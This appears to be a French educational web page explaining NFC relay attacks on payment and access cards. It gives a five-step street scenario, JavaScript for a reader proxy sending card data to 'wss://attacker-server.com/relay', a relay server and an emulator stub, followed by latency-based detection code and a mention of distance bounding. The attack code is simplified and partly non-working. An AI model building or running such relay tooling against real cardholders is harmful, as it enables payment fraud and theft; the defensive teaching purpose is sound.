Une Relay Attack (attaque par relais) est une technique où l'attaquant
intercepte la communication entre une carte NFC et un lecteur, puis la retransmet
à distance. Cela permet de voler des données ou d'effectuer des transactions
sans que la victime ne s'en aperçoive.
📱 Victime
👤
Carte NFC dans le portefeuille
📡
🎭 Attaquant
💻
Dispositif de relais (Proxmark, smartphone modifié)
📡
🏪 Terminal de paiement
🏧
Terminal cible
⚡ Scénario d'Attaque
Étape 1: L'attaquant se place près de la victime (métro, café, file d'attente)
Étape 2: Un lecteur NFC caché (dans un sac) capture les signaux de la carte
Étape 3: Les données sont transmises en temps réel à un complice
Étape 4: Le complice utilise un émulateur NFC devant un terminal de paiement
Étape 5: La transaction est approuvée comme si la carte était présente
💻 Code Conceptuel d'une Relay Attack
Voici un exemple simplifié montrant comment fonctionne une attaque par relais :
1️⃣ Dispositif Lecteur (côté victime)
// reader.js - Dispositif près de la victime
class NFCReaderProxy {
constructor(relayServerUrl) {
this.serverUrl = relayServerUrl;
this.websocket = null;
}
async start() {
// Connexion au serveur de relais
this.websocket = new WebSocket(this.serverUrl);
// Initialisation du lecteur NFC
const ndef = new NDEFReader();
await ndef.scan();
ndef.addEventListener("reading", async ({ message, serialNumber }) => {
console.log("💳 Carte détectée:", serialNumber);
// Capture de toutes les données
const cardData = {
uid: serialNumber,
timestamp: Date.now(),
records: message.records.map(r => ({
type: r.recordType,
data: Array.from(new Uint8Array(r.data))
}))
};
// ⚠️ Transmission en temps réel au complice
this.websocket.send(JSON.stringify({
action: 'relay_nfc_data',
data: cardData
}));
console.log("📡 Données relayées au serveur");
});
}
}
// Utilisation
const proxy = new NFCReaderProxy('wss://attacker-server.com/relay');
proxy.start();
2️⃣ Serveur de Relais
// relay-server.js - Serveur Node.js de l'attaquant
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });
const clients = {
reader: null, // Dispositif près de la victime
emulator: null // Dispositif près du terminal
};
wss.on('connection', (ws, req) => {
const clientType = new URL(req.url, 'http://localhost').searchParams.get('type');
if (clientType === 'reader') {
clients.reader = ws;
console.log('📱 Lecteur connecté');
} else if (clientType === 'emulator') {
clients.emulator = ws;
console.log('💻 Émulateur connecté');
}
ws.on('message', (data) => {
const message = JSON.parse(data);
if (message.action === 'relay_nfc_data' && clients.emulator) {
// Retransmission instantanée vers l'émulateur
clients.emulator.send(JSON.stringify(message.data));
console.log('⚡ Données relayées: ' + message.data.uid);
}
});
});
3️⃣ Émulateur NFC (côté terminal)
// emulator.js - Dispositif près du terminal de paiement
class NFCEmulator {
constructor(relayServerUrl) {
this.serverUrl = relayServerUrl;
this.websocket = null;
}
async start() {
// Connexion au serveur
this.websocket = new WebSocket(
`${this.serverUrl}?type=emulator`
);
this.websocket.onmessage = async (event) => {
const cardData = JSON.parse(event.data);
console.log("📥 Données reçues de la victime:", cardData.uid);
// Émulation de la carte NFC
await this.emulateCard(cardData);
};
}
async emulateCard(cardData) {
// Utilisation de l'API HCE (Host Card Emulation) sur Android
// ou d'un dispositif matériel comme Proxmark3
console.log("🎭 Émulation de la carte:", cardData.uid);
// Le terminal de paiement pense communiquer avec la vraie carte
// alors qu'il communique avec notre émulateur
// ⚠️ Transaction effectuée sans que la victime le sache
}
}
const emulator = new NFCEmulator('wss://attacker-server.com/relay');
emulator.start();
⚠️ Impact de l'Attaque
✓ Distance illimitée entre victime et terminal
✓ Fonctionne même avec des cartes "sécurisées"
✓ Pas de détection immédiate par la victime
✓ Peut bypasser les limites de montant sans contact
✓ Applicable aux cartes de paiement, badges d'accès, etc.
🛡️ Contre-mesures et Défenses
1. Détection par Latence
Mesurer le temps de réponse de la carte. Un délai anormal indique un relais.
// defense-latency.js
class RelayAttackDetector {
constructor(maxLatencyMs = 50) {
this.maxLatency = maxLatencyMs;
}
async detectRelay(nfcReader) {
const startTime = performance.now();
// Envoi d'un challenge à la carte
const challenge = this.generateChallenge();
const response = await nfcReader.sendCommand(challenge);
const latency = performance.now() - startTime;
if (latency > this.maxLatency) {
return {
relayDetected: true,
latency: latency,
message: `⚠️ RELAY ATTACK DÉTECTÉ! Latence: ${latency}ms`
};
}
return {
relayDetected: false,
latency: latency,
message: `✅ Communication normale. Latence: ${latency}ms`
};
}
generateChallenge() {
// Génération d'un challenge cryptographique aléatoire
const challenge = new Uint8Array(16);
crypto.getRandomValues(challenge);
return challenge;
}
}
// Utilisation
const detector = new RelayAttackDetector(50); // 50ms max
const result = await detector.detectRelay(nfcReader);
console.log(result.message);
2. Distance Bounding Protocol
Protocole cryptographique qui vérifie la distance physique entre la carte et le lecteur.